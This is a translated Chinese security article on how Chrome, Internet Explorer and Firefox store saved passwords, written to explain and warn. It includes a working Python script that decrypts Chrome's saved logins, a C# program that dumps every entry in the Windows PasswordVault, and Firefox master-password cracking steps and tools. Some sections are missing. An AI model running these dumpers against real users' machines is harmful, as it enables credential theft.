浏览器密码存储原理和渗透中的利用(浏览器保存密码会泄露吗)

一、引言

我之前的文章中介绍了名为dumpmon的推特机器人,它监控着众多“贴码网站”的账户转储、配置文件和其他信息。自那以后,我一直留意着监测到的信息。接下来会有关于dumpmon的一系列文章,而本文则关注浏览器是如何存储密码的。

这里提到dumpmon,是因为我偶然发现一些贴码,比如这篇, 应该是感染在计算机上的恶意软件的日志。我便想:我总是认为最好不要让浏览器直接存储密码,但是原因呢?恶意软件从感染的计算机中获得密码会有多轻松呢? 因为从一处获得所有想要的资料有点困难,所以我决定在此文贴出结果以及一些从各个浏览器的密码管理器中提取密码的简单代码。

二、浏览器

图片[1]-浏览器密码存储原理和渗透中的利用(浏览器保存密码会泄露吗)-Pikachu Hackerimport sqlite3
import win32crypt

# Connect to the Database
#conn = sqlite3.connect(getenv(“APPDATA”) + “\..\Local\Google\Chrome\User Data\Default\Login Data”)
conn = sqlite3.connect(“Login Data”)
cursor = conn.cursor()
# Get the results
cursor.execute(‘SELECT action_url, username_value, password_value FROM logins’)
for result in cursor.fetchall():
print result
# Decrypt the Password
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
if password:
print ‘Site: ‘ + result[0]
print ‘Username: ‘ + result[1]
print ‘Password: ‘ + password
else:
print “no password found”

              安全脉搏SP小编提示:得先安装win32crypt package其实就是安装一个pywin32 pypi下载路径https://pypi.python.org/pypi/pywin32http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe否则报错缺少模块import win32cryptImportError: No module named win32crypt后续测试发现py直接sqlite查询%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data会权限不足    cursor.execute(‘SELECT action_url, username_value, password_value FROM logins’)sqlite3.OperationalError: database is lockedChrome浏览器这里可以设置 我们删除之前的不保存图片[2]-浏览器密码存储原理和渗透中的利用(浏览器保存密码会泄露吗)-Pikachu Hackerusing System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Windows.Security.Credentials;

namespace PasswordVaultTest
{
class Program
{
static void Main(string[] args)
{
// Create a handle to the Widnows Password vault
Windows.Security.Credentials.PasswordVault vault = new PasswordVault();
// Retrieve all the credentials from the vault
IReadOnlyList<PasswordCredential> credentials = vault.RetrieveAll();
// The list returned is an IReadOnlyList, so there is no enumerator.
// No problem, we’ll just see how many credentials there are and do it the
// old fashioned way
for (int i = 0; i < credentials.Count; i++)
{
// Obtain the credential
PasswordCredential cred = credentials.ElementAt(i);
// “Fill in the password” (I wish I knew more about what this was doing)
cred.RetrievePassword();
// Print the result
Console.WriteLine(cred.Resource + ‘:’ + cred.UserName + ‘:’ + cred.Password);
}
Console.ReadKey();
}
}
}

执行该程序后,输出类似于下图所示:browser_014 注意:我删除了一些我已经禁止IE储存的站点。除此之外,我也不是很清楚为什么有些凭据被储存了起来。

正如你所见,只要我们的程序在特定用户环境中执行,提取指定用户使用的所有密码略繁琐但还是挺简单的。下面我们继续。

 

五、Firefox浏览器

获得密码的难易程度:一般/非常困难

接下来谈谈比较棘手的Firefox。主要使用这些幻灯片firefox中的方法获取关于用户数据存储位置的资料。

首先,透露下Firefox的密码管理的小秘密。为满足开发者创建满足各种安全标准的应用程序,Mozilla开发了一个叫做“Network Security Services”,或叫NSS的开源库。Firefox使用其中一个叫做”Security Decoder Ring”,或叫SDR的API来帮助实现账号证书的加密和解密函数。虽然名字很文艺,我们还是来看看firefox是如何使用它完成加密的:

当一个Firefox配置文件被首次创建时,一个叫做SDR的随机key和一个Salt(译者注:Salt, 在密码学中,是指通过在密码任意固定位置插入特定的字符串,让散列后的结果和使用原始密码的散列结果不相符,这种过程称之为“加盐”)就会被创建并存储在 一个名为“key3.db”的文件中。利用这个key和盐,使用3DES加密算法来加密用户名和密码。密文是Base64编码的,并存储在一个叫做 signons.sqlite的sqlite数据库中。Signons.sqlite和key3.db文件均位于%APPDATA%\Mozilla \Firefox\Profiles\[random_profile]目录。

所以我们要做的就是得到SDR密钥。正如此处解释的,这个key被保存在一个叫PCKS#11软件“令牌”的容器中。该令牌被封装进入内部编号为PKCS#11的“槽位”中。因此需要访问该槽位来破译账户证书。

还有一个问题,这个SDR也是用3DES(DES-EDE-CBC)算法加密的。解密密钥是Mozilla叫做“主密码”的hash值,以及一个位于key3.db文件中对应的叫做“全局盐”的值。

Firefox用户可以在浏览器的设置中设定主密码,但关键是好多用户不知道这个特性。正如我们看到的,用户整个账号证书的完整性链条依赖于安全设置中选择的密码,它是攻击者唯一不知道的值。如果用户使用一个强健的主密码,那么攻击者想要恢复存储的证书是不太可能的。

那么——如果用户没有设置主密码,空密码就会被使用。这意味着攻击者可以提取全局盐,获得它与空密码做hash运算结果,然后使用该结果破译SDR密钥。再用破译的SDR密钥危害用户证书。

该过程看起来就是这样:browser_016 

想知道的更清楚,我们可以简单查下源代码。负责证书解密的主要函数是PK11SDR_Decrypt。此处不再展示整个函数,仅分别列出如下被调用的函数:

PK11_GetInternalKeySlot()  //得到内部key槽PK11_Authenticate()  //使用主密码对slot鉴权PK11_FindFixedKey()  //从slot中获得SDR密钥Pk11_Decrypt()  //使用SDR密钥破译Base64编码的数据

至于破译密码的示例代码,过程有点复杂,此处就不再累述了。介绍两个可以完成此过程的开源工程:

  •  FireMaster – 暴力破解主密码

  •  ffpasscrack – 推荐的是Python的解决方案。这个方案使用libnss.so库做负载DLL。在Windows上使用的话,可以利用cygwin的DLL文件。

 

六、总结

希望此文能让你清楚的了解到浏览器是如何存储密码的,以及为何在一些情况下不该让它们存储。但是,本文不能下这样的论断,即浏览器存储密码一点都不安全。例如,在Firefox浏览器案例中,如果采用高强度的主密码,账号的细节资料是非常难获取的。

若是采用别的密码管理,比如LastPass、KeePass,则是极好的方案,也可以借助设备采用双因素认证,比如Yubkey。

 

【原文:raidersec 翻译:IDF实验室成明遥 SP小编整理发布】

本文作者:SecPulse

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/3351.html

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容